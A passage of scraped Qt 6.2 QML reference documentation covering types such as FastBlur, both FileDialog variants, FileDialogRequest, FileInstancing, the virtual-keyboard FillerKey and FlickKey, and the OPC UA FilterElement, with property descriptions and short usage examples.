* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-extrudedtextmesh-members.html)

 Properties
----------

 * **[depth](qml-qt3d-extras-extrudedtextmesh#depth-prop)** : float
* **[font](qml-qt3d-extras-extrudedtextmesh#font-prop)** : QFont
* **[text](qml-qt3d-extras-extrudedtextmesh#text-prop)** : QString

 Detailed Description
--------------------

 The origin of the mesh is the rear left end of the text's baseline.

 Property Documentation
----------------------

 ###  depth : float

 Holds the extrusion depth of the text.

 ###  font : QFont

 \* \* \* Holds the font of the text.

 \* The mesh geometry is normalized by the font's pointSize, so a larger pointSize \* will result in smoother, rather than larger, text. pixelSize should not \* be used.

 ###  text : QString

 Holds the text used for the mesh.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-extrudedtextmesh.html>

FastBlur QML Type
=================

 Applies a fast blur effect to one or more source items. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt5Compat.GraphicalEffects |
|  Since: |  QtGraphicalEffects 1.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-fastblur-members.html)

 Properties
----------

 * **[cached](qml-qt5compat-graphicaleffects-fastblur#cached-prop)** : bool
* **[radius](qml-qt5compat-graphicaleffects-fastblur#radius-prop)** : real
* **[source](qml-qt5compat-graphicaleffects-fastblur#source-prop)** : variant
* **[transparentBorder](qml-qt5compat-graphicaleffects-fastblur#transparentBorder-prop)** : bool

 Detailed Description
--------------------

 The FastBlur effect softens the source content by blurring it with algorithm which uses the source content downscaling and bilinear filtering.

 

| Source | Effect applied |
| --- | --- |
|  |  |

 Example
-------

 The following example shows how to apply the effect.

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Item {
    width: 300
    height: 300

    Image {
        id: bug
        source: "images/bug.jpg"
        sourceSize: Qt.size(parent.width, parent.height)
        smooth: true
        visible: false
    }

    FastBlur {
        anchors.fill: bug
        source: bug
        radius: 32
    }
}
```
 Property Documentation
----------------------

 ###  cached : [bool](qml-bool)

 This property allows the effect output pixels to be cached in order to improve the rendering performance.

 Every time the source or effect properties are changed, the pixels in the cache must be updated. Memory consumption is increased, because an extra buffer of memory is required for storing the effect output.

 It is recommended to disable the cache when the source or the effect properties are animated.

 By default, the property is set to `false`.

 ###  radius : [real](qml-real)

 This property defines the distance of the neighboring pixels which affect the blurring of an individual pixel. A larger radius increases the blur effect. [FastBlur](qml-qt5compat-graphicaleffects-fastblur) algorithm may internally reduce the accuracy of the radius in order to provide good rendering performance.

 The value ranges from 0.0 (no blur) to inf. Visual quality of the blur is reduced when radius exceeds value 64. By default, the property is set to `0.0` (no blur).

 

| Output examples with different blur values |  |  |
| --- | --- | --- |
|  |  |  |
|  **radius: 0**  |  **radius: 32**  |  **radius: 64**  |

 ###  source : variant

 This property defines the source item that is going to be blurred.

  **Note:** It is not supported to let the effect include itself, for instance by setting source to the effect's parent.

  ###  transparentBorder : [bool](qml-bool)

 This property defines the blur behavior near the edges of the item, where the pixel blurring is affected by the pixels outside the source edges.

 If the property is set to `true`, the pixels outside the source are interpreted to be transparent, which is similar to OpenGL clamp-to-border extension. The blur is expanded slightly outside the effect item area.

 If the property is set to `false`, the pixels outside the source are interpreted to contain the same color as the pixels at the edge of the item, which is similar to OpenGL clamp-to-edge behavior. The blur does not expand outside the effect item area.

 By default, the property is set to `false`.

 

| Output examples with different transparentBorder values |  |  |
| --- | --- | --- |
|  |  |
|  **transparentBorder: false**  |  **transparentBorder: true**  |
| [radius](qml-qt5compat-graphicaleffects-fastblur#radius-prop): 64 | [radius](qml-qt5compat-graphicaleffects-fastblur#radius-prop): 64 |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-fastblur.html>

FileDialog QML Type
===================

 A native file dialog. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt.labs.platform |
|  Since: |  Qt 5.8 |
|  Inherits: | [Dialog](qml-qt-labs-platform-dialog) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt-labs-platform-filedialog-members.html)

 Properties
----------

 * **[acceptLabel](qml-qt-labs-platform-filedialog#acceptLabel-prop)** : string
* **[currentFile](qml-qt-labs-platform-filedialog#currentFile-prop)** : url
* **[currentFiles](qml-qt-labs-platform-filedialog#currentFiles-prop)** : list<url>
* **[defaultSuffix](qml-qt-labs-platform-filedialog#defaultSuffix-prop)** : string
* **[file](qml-qt-labs-platform-filedialog#file-prop)** : url
* **[fileMode](qml-qt-labs-platform-filedialog#fileMode-prop)** : enumeration
* **[files](qml-qt-labs-platform-filedialog#files-prop)** : list<url>
* **[folder](qml-qt-labs-platform-filedialog#folder-prop)** : url
* **[nameFilters](qml-qt-labs-platform-filedialog#nameFilters-prop)** : list<string>
* **[options](qml-qt-labs-platform-filedialog#options-prop)** : flags
* **[rejectLabel](qml-qt-labs-platform-filedialog#rejectLabel-prop)** : string
* **[selectedNameFilter](qml-qt-labs-platform-filedialog#selectedNameFilter-prop)**
	+ **[selectedNameFilter.extensions](qml-qt-labs-platform-filedialog#selectedNameFilter.extensions-prop)** : list<string>
	+ **[selectedNameFilter.index](qml-qt-labs-platform-filedialog#selectedNameFilter.index-prop)** : int
	+ **[selectedNameFilter.name](qml-qt-labs-platform-filedialog#selectedNameFilter.name-prop)** : string

 Detailed Description
--------------------

 The FileDialog type provides a QML API for native platform file dialogs.

 ![]


To show a file dialog, construct an instance of FileDialog, set the desired properties, and call [open](qml-qt-labs-platform-dialog#open-method)(). The [currentFile](qml-qt-labs-platform-filedialog#currentFile-prop) or [currentFiles](qml-qt-labs-platform-filedialog#currentFiles-prop) properties can be used to determine the currently selected file(s) in the dialog. The [file](qml-qt-labs-platform-filedialog#file-prop) and [files](qml-qt-labs-platform-filedialog#files-prop) properties are updated only after the final selection has been made by accepting the dialog.

 
```
MenuItem {
    text: "Open..."
    onTriggered: fileDialog.open()
}

FileDialog {
    id: fileDialog
    currentFile: document.source
    folder: StandardPaths.writableLocation(StandardPaths.DocumentsLocation)
}

MyDocument {
    id: document
    source: fileDialog.file
}
```
 ### Availability

 A native platform file dialog is currently available on the following platforms:

 * iOS
* Linux (when running with the GTK+ platform theme)
* macOS
* Windows

 The Qt Labs Platform module uses Qt Widgets as a fallback on platforms that do not have a native implementation available. Therefore, applications that use types from the Qt Labs Platform module should link to QtWidgets and use [QApplication](qapplication) instead of [QGuiApplication](qguiapplication).

 To link against the QtWidgets library, add the following to your qmake project file:

 
```
QT += widgets
```
 Create an instance of [QApplication](qapplication) in `main()`:

 
```
#include <QApplication>
#include <QQmlApplicationEngine>

int main(int argc, char *argv[])
{
    QApplication app(argc, argv);
    QQmlApplicationEngine engine;
    engine.load(QUrl(QStringLiteral("qrc:/main.qml")));
    return app.exec();
}
```
  **Note:** *Types in Qt.labs modules are not guaranteed to remain compatible in future versions.*

  **See also** [FolderDialog](qml-qt-labs-platform-folderdialog) and [StandardPaths](qml-qt-labs-platform-standardpaths).

 Property Documentation
----------------------

 ###  acceptLabel : [string](qml-string)

 This property holds the label text shown on the button that accepts the dialog.

 When set to an empty string, the default label of the underlying platform is used. The default label is typically **Open** or **Save** depending on which [fileMode](qml-qt-labs-platform-filedialog#fileMode-prop) the dialog is used in.

 The default value is an empty string.

 **See also** [rejectLabel](qml-qt-labs-platform-filedialog#rejectLabel-prop).

 ###  currentFile : [url](qml-url)

 This property holds the currently selected file in the dialog.

 Unlike the [file](qml-qt-labs-platform-filedialog#file-prop) property, the `currentFile` property is updated while the user is selecting files in the dialog, even before the final selection has been made.

 **See also** [file](qml-qt-labs-platform-filedialog#file-prop) and [currentFiles](qml-qt-labs-platform-filedialog#currentFiles-prop).

 ###  currentFiles : [list](qml-list)<[url](qml-url)>

 This property holds the currently selected files in the dialog.

 Unlike the [files](qml-qt-labs-platform-filedialog#files-prop) property, the `currentFiles` property is updated while the user is selecting files in the dialog, even before the final selection has been made.

 **See also** [files](qml-qt-labs-platform-filedialog#files-prop) and [currentFile](qml-qt-labs-platform-filedialog#currentFile-prop).

 ###  defaultSuffix : [string](qml-string)

 This property holds a suffix that is added to selected files that have no suffix specified. The suffix is typically used to indicate the file type (e.g. "txt" indicates a text file).

 If the first character is a dot ('.'), it is removed.

 ###  file : [url](qml-url)

 This property holds the final accepted file.

 Unlike the [currentFile](qml-qt-labs-platform-filedialog#currentFile-prop) property, the `file` property is not updated while the user is selecting files in the dialog, but only after the final selection has been made. That is, when the user has clicked **OK** to accept a file. Alternatively, the [accepted](qml-qt-labs-platform-dialog#accepted-signal)() signal can be handled to get the final selection.

 **See also** [currentFile](qml-qt-labs-platform-filedialog#currentFile-prop) and [accepted](qml-qt-labs-platform-dialog#accepted-signal)().

 ###  fileMode : [enumeration](qml-enumeration)

 This property holds the mode of the dialog.

 Available values:

 

| Constant | Description |
| --- | --- |
| `FileDialog.OpenFile` | The dialog is used to select an existing file (default). |
| `FileDialog.OpenFiles` | The dialog is used to select multiple existing files. |
| `FileDialog.SaveFile` | The dialog is used to select any file. The file does not have to exist. |

 ###  files : [list](qml-list)<[url](qml-url)>

 This property holds the final accepted files.

 Unlike the [currentFiles](qml-qt-labs-platform-filedialog#currentFiles-prop) property, the `files` property is not updated while the user is selecting files in the dialog, but only after the final selection has been made. That is, when the user has clicked **OK** to accept files. Alternatively, the [accepted](qml-qt-labs-platform-dialog#accepted-signal)() signal can be handled to get the final selection.

 **See also** [currentFiles](qml-qt-labs-platform-filedialog#currentFiles-prop) and [accepted](qml-qt-labs-platform-dialog#accepted-signal)().

 ###  folder : [url](qml-url)

 This property holds the folder where files are selected. For selecting a folder, use [FolderDialog](qml-qt-labs-platform-folderdialog) instead.

 **See also** [FolderDialog](qml-qt-labs-platform-folderdialog).

 ###  nameFilters : [list](qml-list)<[string](qml-string)>

 This property holds the filters that restrict the types of files that can be selected.

 
```
FileDialog {
    nameFilters: ["Text files (*.txt)", "HTML files (*.html *.htm)"]
}
```
  **Note:** **\*.\*** is not a portable filter, because the historical assumption that the file extension determines the file type is not consistent on every operating system. It is possible to have a file with no dot in its name (for example, `Makefile`). In a native Windows file dialog, **\*.\*** will match such files, while in other types of file dialogs it may not. So it is better to use **\*** if you mean to select any file.

  **See also** [selectedNameFilter](qml-qt-labs-platform-filedialog#selectedNameFilter-prop).

 ###  options : flags

 This property holds the various options that affect the look and feel of the dialog.

 By default, all options are disabled.

 Options should be set before showing the dialog. Setting them while the dialog is visible is not guaranteed to have an immediate effect on the dialog (depending on the option and on the platform).

 Available options:

 

| Constant | Description |
| --- | --- |
| `FileDialog.DontResolveSymlinks` | Don't resolve symlinks in the file dialog. By default symlinks are resolved. |
| `FileDialog.DontConfirmOverwrite` | Don't ask for confirmation if an existing file is selected. By default confirmation is requested. |
| `FileDialog.ReadOnly` | Indicates that the dialog doesn't allow creating directories. |
| `FileDialog.HideNameFilterDetails` | Indicates if the file name filter details are hidden or not. |

 ###  rejectLabel : [string](qml-string)

 This property holds the label text shown on the button that rejects the dialog.

 When set to an empty string, the default label of the underlying platform is used. The default label is typically **Cancel**.

 The default value is an empty string.

 **See also** [acceptLabel](qml-qt-labs-platform-filedialog#acceptLabel-prop).

 ###  selectedNameFilter.extensions : [list](qml-list)<[string](qml-string)>

 These properties hold the currently selected name filter.

 

| Name | Description |
| --- | --- |
| **index** : int | This property determines which [name filter](qml-qt-labs-platform-filedialog#nameFilters-prop) is selected. The specified filter is selected when the dialog is opened. The value is updated when the user selects another filter. |
| [read-only] **name** : string | This property holds the name of the selected filter. In the example below, the name of the first filter is `"Text files"` and the second is `"HTML files"`. |
| [read-only] **extensions** : list<string> | This property holds the list of extensions of the selected filter. In the example below, the list of extensions of the first filter is `["txt"]` and the second is `["html", "htm"]`. |

 
```
FileDialog {
    id: fileDialog
    selectedNameFilter.index: 1
    nameFilters: ["Text files (*.txt)", "HTML files (*.html *.htm)"]
}

MyDocument {
    id: document
    fileType: fileDialog.selectedNameFilter.extensions[0]
}
```
 **See also** [nameFilters](qml-qt-labs-platform-filedialog#nameFilters-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt-labs-platform-filedialog.html>

FileDialog QML Type
===================

 A file dialog. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Dialogs |
|  Since: |  Qt 6.2 |
|  Inherits: | [Dialog](qml-qtquick-dialogs-dialog) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-dialogs-filedialog-members.html)

 Properties
----------

 * **[acceptLabel](qml-qtquick-dialogs-filedialog#acceptLabel-prop)** : string
* **[currentFile](qml-qtquick-dialogs-filedialog#currentFile-prop)** : url
* **[currentFiles](qml-qtquick-dialogs-filedialog#currentFiles-prop)** : list<url>
* **[currentFolder](qml-qtquick-dialogs-filedialog#currentFolder-prop)** : url
* **[defaultSuffix](qml-qtquick-dialogs-filedialog#defaultSuffix-prop)** : string
* **[fileMode](qml-qtquick-dialogs-filedialog#fileMode-prop)** : enumeration
* **[nameFilters](qml-qtquick-dialogs-filedialog#nameFilters-prop)** : list<string>
* **[options](qml-qtquick-dialogs-filedialog#options-prop)** : flags
* **[rejectLabel](qml-qtquick-dialogs-filedialog#rejectLabel-prop)** : string
* **[selectedFile](qml-qtquick-dialogs-filedialog#selectedFile-prop)** : url
* **[selectedFiles](qml-qtquick-dialogs-filedialog#selectedFiles-prop)** : list<url>
* **[selectedNameFilter](qml-qtquick-dialogs-filedialog#selectedNameFilter-prop)**
	+ **[selectedNameFilter.extensions](qml-qtquick-dialogs-filedialog#selectedNameFilter.extensions-prop)** : list<string>
	+ **[selectedNameFilter.globs](qml-qtquick-dialogs-filedialog#selectedNameFilter.globs-prop)** : list<string>
	+ **[selectedNameFilter.index](qml-qtquick-dialogs-filedialog#selectedNameFilter.index-prop)** : int
	+ **[selectedNameFilter.name](qml-qtquick-dialogs-filedialog#selectedNameFilter.name-prop)** : string

 Detailed Description
--------------------

 The FileDialog type provides a QML API for file dialogs.

 ![]


To show a file dialog, construct an instance of FileDialog, set the desired properties, and call [open](qml-qtquick-dialogs-dialog#open-method)(). The [currentFile](qml-qtquick-dialogs-filedialog#currentFile-prop) or [currentFiles](qml-qtquick-dialogs-filedialog#currentFiles-prop) properties can be used to determine the currently selected file(s) in the dialog. The [selectedFile](qml-qtquick-dialogs-filedialog#selectedFile-prop) and [selectedFiles](qml-qtquick-dialogs-filedialog#selectedFiles-prop) properties are updated only after the final selection has been made by accepting the dialog.

 
```
MenuItem {
    text: "Open..."
    onTriggered: fileDialog.open()
}

FileDialog {
    id: fileDialog
    currentFile: document.source
    folder: StandardPaths.writableLocation(StandardPaths.DocumentsLocation)
}

MyDocument {
    id: document
    source: fileDialog.file
}
```
 ### Availability

 A native platform file dialog is currently available on the following platforms:

 * iOS
* Linux (when running with the GTK+ platform theme)
* macOS
* Windows

 Qt Quick Dialogs uses a Qt Quick implementation as a fallback on platforms that do not have a native implementation available.

 Property Documentation
----------------------

 ###  acceptLabel : [string](qml-string)

 This property holds the label text shown on the button that accepts the dialog.

 When set to an empty string, the default label of the underlying platform is used. The default label is typically **Open** or **Save** depending on which [fileMode](qml-qtquick-dialogs-filedialog#fileMode-prop) the dialog is used in.

 The default value is an empty string.

 **See also** [rejectLabel](qml-qtquick-dialogs-filedialog#rejectLabel-prop).

 ###  currentFile : [url](qml-url)

 This property holds the currently selected file in the dialog.

 Unlike the [selectedFile](qml-qtquick-dialogs-filedialog#selectedFile-prop) property, the `currentFile` property is updated while the user is selecting files in the dialog, even before the final selection has been made.

 **See also** [selectedFile](qml-qtquick-dialogs-filedialog#selectedFile-prop), [currentFiles](qml-qtquick-dialogs-filedialog#currentFiles-prop), and [currentFolder](qml-qtquick-dialogs-filedialog#currentFolder-prop).

 ###  currentFiles : [list](qml-list)<[url](qml-url)>

 This property holds the currently selected files in the dialog.

 Unlike the [selectedFiles](qml-qtquick-dialogs-filedialog#selectedFiles-prop) property, the `currentFiles` property is updated while the user is selecting files in the dialog, even before the final selection has been made.

 **See also** [selectedFiles](qml-qtquick-dialogs-filedialog#selectedFiles-prop), [currentFile](qml-qtquick-dialogs-filedialog#currentFile-prop), and [currentFolder](qml-qtquick-dialogs-filedialog#currentFolder-prop).

 ###  currentFolder : [url](qml-url)

 This property holds the folder where files are selected. It can be set to control the initial directory that is shown when the dialog is opened.

 ###  defaultSuffix : [string](qml-string)

 This property holds a suffix that is added to selected files that have no suffix specified. The suffix is typically used to indicate the file type (e.g. "txt" indicates a text file).

 If the first character is a dot ('.'), it is removed.

 ###  fileMode : [enumeration](qml-enumeration)

 This property holds the mode of the dialog.

 Available values:

 

| Constant | Description |
| --- | --- |
| `FileDialog.OpenFile` | The dialog is used to select an existing file (default). |
| `FileDialog.OpenFiles` | The dialog is used to select multiple existing files. |
| `FileDialog.SaveFile` | The dialog is used to select any file. The file does not have to exist. |

 ###  nameFilters : [list](qml-list)<[string](qml-string)>

 This property holds the filters that restrict the types of files that can be selected.

 
```
FileDialog {
    nameFilters: ["Text files (*.txt)", "HTML files (*.html *.htm)"]
}
```
 Different platforms may restrict the files that can be selected in different ways. For example, macOS will disable file entries that do not match the filters, whereas Windows will hide them.

  **Note:** **\*.\*** is not a portable filter, because the historical assumption that the file extension determines the file type is not consistent on every operating system. It is possible to have a file with no dot in its name (for example, `Makefile`). In a native Windows file dialog, **\*.\*** will match such files, while in other types of file dialogs it may not. So it is better to use **\*** if you mean to select any file.

  **See also** [selectedNameFilter](qml-qtquick-dialogs-filedialog#selectedNameFilter-prop).

 ###  options : flags

 This property holds the various options that affect the look and feel of the dialog.

 By default, all options are disabled.

 Options should be set before showing the dialog. Setting them while the dialog is visible is not guaranteed to have an immediate effect on the dialog (depending on the option and on the platform).

 Available options:

 

| Constant | Description |
| --- | --- |
| `FileDialog.DontResolveSymlinks` | Don't resolve symlinks in the file dialog. By default symlinks are resolved. |
| `FileDialog.DontConfirmOverwrite` | Don't ask for confirmation if an existing file is selected. By default confirmation is requested. |
| `FileDialog.ReadOnly` | Indicates that the dialog doesn't allow creating directories. |
| `FileDialog.HideNameFilterDetails` | Indicates if the file name filter details are hidden or not. |

 ###  rejectLabel : [string](qml-string)

 This property holds the label text shown on the button that rejects the dialog.

 When set to an empty string, the default label of the underlying platform is used. The default label is typically **Cancel**.

 The default value is an empty string.

 **See also** [acceptLabel](qml-qtquick-dialogs-filedialog#acceptLabel-prop).

 ###  [read-only] selectedFile : [url](qml-url)

 This property holds the final accepted file.

 If there are multiple selected files, this property refers to the first file.

 Unlike the [currentFile](qml-qtquick-dialogs-filedialog#currentFile-prop) property, the `selectedFile` property is not updated while the user is selecting files in the dialog, but only after the final selection has been made. That is, when the user has clicked **OK** to accept a file. Alternatively, the [accepted](qml-qtquick-dialogs-dialog#accepted-signal)() signal can be handled to get the final selection.

 **See also** [selectedFiles](qml-qtquick-dialogs-filedialog#selectedFiles-prop), [currentFile](qml-qtquick-dialogs-filedialog#currentFile-prop), [accepted](qml-qtquick-dialogs-dialog#accepted-signal)(), and [currentFolder](qml-qtquick-dialogs-filedialog#currentFolder-prop).

 ###  selectedFiles : [list](qml-list)<[url](qml-url)>

 This property holds the final accepted files.

 Unlike the [currentFiles](qml-qtquick-dialogs-filedialog#currentFiles-prop) property, the `selectedFiles` property is not updated while the user is selecting files in the dialog, but only after the final selection has been made. That is, when the user has clicked **OK** to accept files. Alternatively, the [accepted](qml-qtquick-dialogs-dialog#accepted-signal)() signal can be handled to get the final selection.

 **See also** [currentFiles](qml-qtquick-dialogs-filedialog#currentFiles-prop), [accepted](qml-qtquick-dialogs-dialog#accepted-signal)(), and [currentFolder](qml-qtquick-dialogs-filedialog#currentFolder-prop).

 ###  selectedNameFilter.extensions : [list](qml-list)<[string](qml-string)>

 These properties hold the currently selected name filter.

 

| Name | Description |
| --- | --- |
| **index** : int | This property determines which [name filter](qml-qtquick-dialogs-filedialog#nameFilters-prop) is selected. The specified filter is selected when the dialog is opened. The value is updated when the user selects another filter. |
| [read-only] **name** : string | This property holds the name of the selected filter. In the example below, the name of the first filter is `"Text files"` and the second is `"HTML files"`. |
| [read-only] **extensions** : list<string> | This property holds the list of extensions of the selected filter. In the example below, the list of extensions of the first filter is `["txt"]` and the second is `["html", "htm"]`. |
| [read-only] **globs** : list<string> | This property holds the list of globs of the selected filter. In the example below, the list of globs of the first filter is `["*.txt"]` and the second is `["*.html", "*.htm"]`.This property is useful in conjunction with [FolderListModel](qml-qt-labs-folderlistmodel-folderlistmodel)'s [nameFilters](qml-qt-labs-folderlistmodel-folderlistmodel#nameFilters-prop) property, for example. |

 
```
FileDialog {
    id: fileDialog
    selectedNameFilter.index: 1
    nameFilters: ["Text files (*.txt)", "HTML files (*.html *.htm)"]
}

MyDocument {
    id: document
    fileType: fileDialog.selectedNameFilter.extensions[0]
}
```
 **See also** [nameFilters](qml-qtquick-dialogs-filedialog#nameFilters-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-dialogs-filedialog.html>

FileDialogRequest QML Type
==========================

 A request for letting the user choose a (new or existing) file or directory. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtWebEngine |
|  Since: |  QtWebEngine 1.4 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtwebengine-filedialogrequest-members.html)

 Properties
----------

 * **[accepted](qml-qtwebengine-filedialogrequest#accepted-prop)** : bool
* **[acceptedMimeTypes](qml-qtwebengine-filedialogrequest#acceptedMimeTypes-prop)** : stringlist
* **[defaultFileName](qml-qtwebengine-filedialogrequest#defaultFileName-prop)** : string
* **[mode](qml-qtwebengine-filedialogrequest#mode-prop)** : enumeration

 Methods
-------

 * void **[dialogAccept](qml-qtwebengine-filedialogrequest#dialogAccept-method)**(stringlist *files*)
* void **[dialogReject](qml-qtwebengine-filedialogrequest#dialogReject-method)**()

 Detailed Description
--------------------

 A FileDialogRequest is passed as an argument of the [WebEngineView::fileDialogRequested](qml-qtwebengine-webengineview#fileDialogRequested-signal) signal. It is generated when the file dialog is requested by the input element. See [File Upload state](https://www.w3.org/TR/html5/forms.html#file-upload-state-(type=file)).

 The [accepted](qml-qtwebengine-filedialogrequest#accepted-prop) property of the request indicates whether the request is handled by the user code or the default dialog should be displayed. If you set the [accepted](qml-qtwebengine-filedialogrequest#accepted-prop) property to `true`, make sure to call either [dialogAccept](qml-qtwebengine-filedialogrequest#dialogAccept-method)() or [dialogReject](qml-qtwebengine-filedialogrequest#dialogReject-method)() afterwards.

 The following code uses a custom dialog to handle the request:

 
```
WebEngineView {
    // ...
    onFileDialogRequested: function(request) {
        request.accepted = true;
        myDialog.request = request // keep the reference to the request
        myDialog.accept.connect(request.dialogAccept);
        myDialog.reject.connect(request.dialogReject);
        myDialog.visible = true;
    }
    // ...
}
```
 Property Documentation
----------------------

 ###  accepted : [bool](qml-bool)

 Indicates whether the file picker dialog request has been handled by the signal handler.

 If the property is `false` after any signal handlers for [WebEngineView::fileDialogRequested](qml-qtwebengine-webengineview#fileDialogRequested-signal) have been executed, a default file picker dialog will be shown. To prevent this, set `request.accepted` to `true`.

 The default is `false`.

 ###  [read-only] acceptedMimeTypes : stringlist

 A list of MIME types specified in the input element. The selection should be restricted to only these types of files.

 ###  [read-only] defaultFileName : [string](qml-string)

 The default name of the file to be selected in the dialog.

 ###  [read-only] mode : [enumeration](qml-enumeration)

 The mode of the file dialog.

 

| Constant | Description |
| --- | --- |
| `FileDialogRequest.FileModeOpen` | Allows users to specify a single existing file. |
| `FileDialogRequest.FileModeOpenMultiple` | Allows users to specify multiple existing files. |
| `FileDialogRequest.FileModeUploadFolder` | Allows users to specify a single existing folder for upload. |
| `FileDialogRequest.FileModeSave` | Allows users to specify a non-existing file. If an existing file is selected, the users should be informed that the file is going to be overwritten. |

 Method Documentation
--------------------

 ###  void dialogAccept(stringlist *files*)

 This function needs to be called when the user accepted the dialog with *files*.

 ###  void dialogReject()

 This function needs to be called when the user did not accepted the dialog.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtwebengine-filedialogrequest.html>

FileInstancing QML Type
=======================

 Allows reading instance tables from file. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Since: |  Qt 6.2 |
|  Inherits: | [Instancing](qml-qtquick3d-instancing) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-fileinstancing-members.html)

 Properties
----------

 * **[source](qml-qtquick3d-fileinstancing#source-prop)** : url

 Detailed Description
--------------------

 The FileInstancing type makes it possible to read instance tables from files.

 There are two supported file formats: XML, and a Qt-specific binary format. The binary file format uses the same layout as the table that is uploaded to the GPU, so it can be directly mapped to memory. The [instancer](qtquick3d-tool-instancer) tool converts from XML to the binary format.

 This is an example of the XML file format:

 
```
<?xml version="1.0" encoding="UTF-8" ?>
<InstanceTable>
  <Instance position="0 200 0"  scale="0.75 0.75 0.75" custom="20 20" color="#ffcf7f"/>
  <Instance position="0 -100 0" scale="0.5 0.5 0.5" color="red"/>
  <Instance position="0 -200 0" eulerRotation="0 0 60" color="darkred" custom="10 40 0 0"/>
</InstanceTable>
```
 In order to be valid, the XML file must have a top-level `InstanceTable` element. Each instance is represented by an `Instance` element inside the `InstanceTable`. Unknown elements are silently ignored.

 An `Instance` element can have a number of attributes. `color` attributes are specified by the normal Qt SVG color names, or by hexadecimal notation. `vector3d` and {vector4d} attributes are specified by a string of space-separated numbers, where missing trailing numbers indicate zeroes. The following attributes are supported:

 

| name | type |
| --- | --- |
| `position` | `vector3d` |
| `scale` | `vector3d` |
| `eulerRotation` | `vector3d` |
| `quaternion` | `vector4d` |
| `custom` | `vector4d` |
| `color` | `color` |

 Unknown attributes are silently ignored.

 Property Documentation
----------------------

 ###  source : [url](qml-url)

 This property holds the location of an XML or binary file containing the instance data.

 If the file name has a ".bin" extension, it is assumed to refer to a binary file. Otherwise it is assumed to refer to an XML file. If an XML file *foo.xml* is specified, and the file *foo.xml.bin* exists, the binary file *foo.xml.bin* will be loaded instead.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-fileinstancing.html>

FillerKey QML Type
==================

 Filler key for keyboard layouts. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.VirtualKeyboard |
|  Inherits: | [BaseKey](qml-qtquick-virtualkeyboard-basekey) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-fillerkey-members.html)

 Detailed Description
--------------------

 This key can be used as a filler in the keyboard layout.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-fillerkey.html>

FlickKey QML Type
=================

 Flick key for keyboard layouts. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.VirtualKeyboard |
|  Since: |  QtQuick.VirtualKeyboard 6.1 |
|  Inherits: | [Key](qml-qtquick-virtualkeyboard-key) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-flickkey-members.html)

 Detailed Description
--------------------

 Allows to enter an alternative character in a four-way gesture. Characters are taken from the alternate keys starting with the key at index `0` (excluding the main key text) and the positions are filled in the following order: left, top, bottom, right.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-flickkey.html>

FilterElement QML Type
======================

 The OPC UA ContentFilterElement. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.13 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-filterelement-members.html)

 Properties
----------

 * **[firstOperand](qml-qtopcua-filterelement#firstOperand-prop)** : variant
* **[operatorType](qml-qtopcua-filterelement#operatorType-prop)** : enumeration
* **[secondOperand](qml-qtopcua-filterelement#secondOperand-prop)** : variant

 Detailed Description
--------------------

 A content filter element contains an operator and operands. There are four different operator types which contain literal values, references to attributes of nodes or to other content filter elements.

 A combination of one or more content filter elements makes a content filter which is used by the server to filter data for the criteria defined by the content filter elements. For example, the `where` clause of an event filter is a content filter which is used to decide if a notification is generated for an event.

 
```
QtOpcUa.FilterElement {
    operator: QtOpcUa.FilterElement.GreaterThanOrEqual
    firstOperand: QtOpcUa.SimpleAttributeOperand { ... }
    secondOperand: QtOpcUa.LiteralOperand { ... }
}
```
 **See also** [EventFilter](qml-qtopcua-eventfilter).

 Property Documentation
----------------------

 ###  firstOperand : variant

 First operand to be used with the operator. This can be one of [SimpleAttributeOperand](qml-qtopcua-simpleattributeoperand), [AttributeOperand](qml-qtopcua-attributeoperand), [LiteralOperand](qml-qtopcua-literaloperand) or [ElementOperand](qml-qtopcua-elementoperand).

 ###  operatorType : [enumeration](qml-enumeration)

 The filter operator.

 Possible operators for a [FilterElement](qml-qtopcua-filterelement) that are specified in OPC-UA part 4, Tables 115 and 116.

 

| Constant | Value |
| --- | --- |
| `FilterElement.Equals` |
| `FilterElement.IsNull` |
| `FilterElement.GreaterThan` |
| `FilterElement.LessThan` |
| `FilterElement.GreaterThanOrEqual` |
| `FilterElement.LessThanOrEqual` |
| `FilterElement.Like` |
| `FilterElement.Not` |
| `FilterElement.Between` |
